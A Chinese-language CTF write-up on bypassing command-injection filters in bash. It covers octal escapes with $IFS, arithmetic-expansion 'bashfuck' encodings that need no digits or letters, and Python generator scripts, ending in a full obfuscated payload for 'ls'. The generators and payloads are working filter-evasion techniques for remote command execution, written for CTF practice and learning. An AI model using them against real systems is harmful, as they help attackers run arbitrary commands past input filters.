一些RCE的别的利用方式
0x0e前言
本来是在CTF刷刷题目,然后有个知识点不太明白所以就去找着了lazy师傅问了一下,结果发了一个bashfuck的知识点过来(x,本来一个简单的绕过却有了新的思路,索性来记录一下。
注意:因为debian、Ubuntu系统的sh软连接是到dash的,centos的sh软链接连接到bash,但是kali的zsh不是很兼容dash所以IFS就解析不了,还是直接用空格代替即可
0x01common_oct
这个就是最常规的可以用十六进制,或者八进制来执行命令
sum_data = ''
str1 = input("请输入要转化的命令:")
str1 = str1.strip() # 去除首尾空格
data_len = len(str1) # 判断总长度来循环
for i in range(data_len):
data = ord(str1[i])
if data == ord(' '): # 检查空格字符
sum_data += "'$IFS$'"
else:
data_8 = oct(data)[2:]
final_data = '\\' + data_8
sum_data += final_data
print("common_oct")
print("$'" + sum_data + "'")
出来直接使用即可,在kali里面的ifs直接用空格代替即可
example:
$'\154\163' #= ls
0x02bashfuck_x
运用到的原理就是算术拓展$(())
,这个的返回值为0,并且可以有这种用法$((1<<1)#2binary)
来构造出一些命令
还是拿ls来举例子,如果不去利用二进制来构造可以这么写
"$"''\''\'$(($((1))54))'\'$(($((1))63))\'
构造出来就是common_oct的写法
然后这里也可以使用二进制来构造
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
因为相对于前面的你构造出54啊或者是其他数字比较麻烦,而在探姬师傅的wiki下面说明了几种可以表示0和1的方法,所以用01来代替能利用py快速的得出结果并且可以实现无数字来打
一些对应:
>echo ${#}
>0
>echo ${##}
>1
>echo ${#_}
>1
>echo ${_}
>1
>echo ${?}
>0
>echo ${?#}
>1
等等都可以用来构造
下面附上相关函数
def bashfuckx():
final_str1 = ''
final_str2 = ''
final_str3 = ''
str3 = input("请输入要转化的命令:")
for j in str3:
final_str1 += '$0<<<$0\\<\\<\\<\\$\\\'' +f'\\\\$(($((1<<1))#{bin(int(get_oct(j)))[2:]}))'+ '\\\''
final_str2 = '$0<<<$0\\<\\<\\<\\$\\\'' +final_str1.replace('1', '${##}')+ '\\\'' # 用 ${##} 来替换 1
final_str3 = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' +final_str1.replace('1', '${##}').replace('0', '${#}')+ '\\\'' # 用 ${#} 来替换 0
result = input("请输入你要的格式\n1代表直接转化\n2代表替换1\n3代表全部替换(无数字)")
if result == '1':
print(final_str1)
elif result == '2':
print(final_str2)
elif result == '3':
print(final_str3)
else:
print("无效输入!")
然后这里需要解决一个问题,你会发现你直接执行命令是没办法执行的,这里探姬师傅也是给出了相关的连接
https://www.gnu.org/software/bash/manual/html_node/Shell-Expansions.html
总的来说就是扩展顺序,我们在八进制转义的时候已经扩展了一次,所以后面不会再次解析
所以这里就用标准输出来完成解析
/bin/bash<<<
所以最后的playload的前面要加上:$0<<<
$0
可以表示当前脚本的文件名,在终端中,$0
其实就是bash本身。
0x03bashfuck_y
这里和上面的都差不多只是对-1的取反进行了利用
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造
'$(())', # 0
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
这样就可以使用$(())
去构造$'\xxx\xxx\xxx\xxx'
再引入我们前面提到的,变量赋值,我们就可以轻松的用$(())
拿到sh
bashFuck = ''
bashFuck += '__=$(())' # set __ to 0
bashFuck += '&&' # splicing
bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\'' # got 'sh'
# bashFuck = __=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'
得到我们第四种playload:
Command:ls
Charset : ! $ & ' ( ) < = \ _ { } ~
Total Used: 13
Total length = 393
Payload = __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
参考文章:
https://github.com/ProbiusOfficial/bashFuck?tab=readme-ov-file